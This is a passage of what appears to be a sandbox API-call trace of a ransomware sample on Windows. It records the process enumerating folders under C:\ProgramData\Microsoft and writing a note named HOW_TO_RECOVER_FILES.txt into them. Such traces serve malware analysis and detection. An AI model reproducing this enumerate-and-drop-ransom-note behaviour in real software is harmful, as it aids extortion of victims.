ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.577] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0093.577] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0 [0093.577] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0093.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0093.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0093.577] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart", lpFilePart=0x0) returned 0x21 [0093.577] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.578] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.578] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1 [0093.578] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.578] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0093.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0093.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.578] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2a [0093.578] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.946] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.946] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.946] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0093.946] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi", lpFilePart=0x0) returned 0x2a [0093.946] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0093.946] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.947] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.947] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0093.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0093.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0093.947] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0093.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0093.947] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\datamart\\paidwifi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0094.142] GetFileType (hFile=0x768) returned 0x1 [0094.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0094.142] GetFileType (hFile=0x768) returned 0x1 [0094.143] WriteFile (in: hFile=0x768, lpBuffer=0x35a9450*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x35a9450*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0094.144] CloseHandle (hObject=0x768) returned 1 [0094.144] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0094.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0094.144] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\DataMart\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\datamart\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0094.145] GetFileType (hFile=0x768) returned 0x1 [0094.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0094.145] GetFileType (hFile=0x768) returned 0x1 [0094.145] WriteFile (in: hFile=0x768, lpBuffer=0x35acc88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x35acc88*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0094.147] CloseHandle (hObject=0x768) returned 1 [0094.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0094.147] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0094.147] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0094.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0094.148] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0094.148] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0094.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0094.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0094.149] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0094.149] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0094.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0094.149] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.149] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0094.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0094.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0094.150] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0094.150] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.153] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.153] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0094.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0094.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0094.154] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0094.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0094.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0094.154] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0094.154] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.154] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0094.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0094.155] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.155] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0094.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0094.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0094.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0094.155] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device 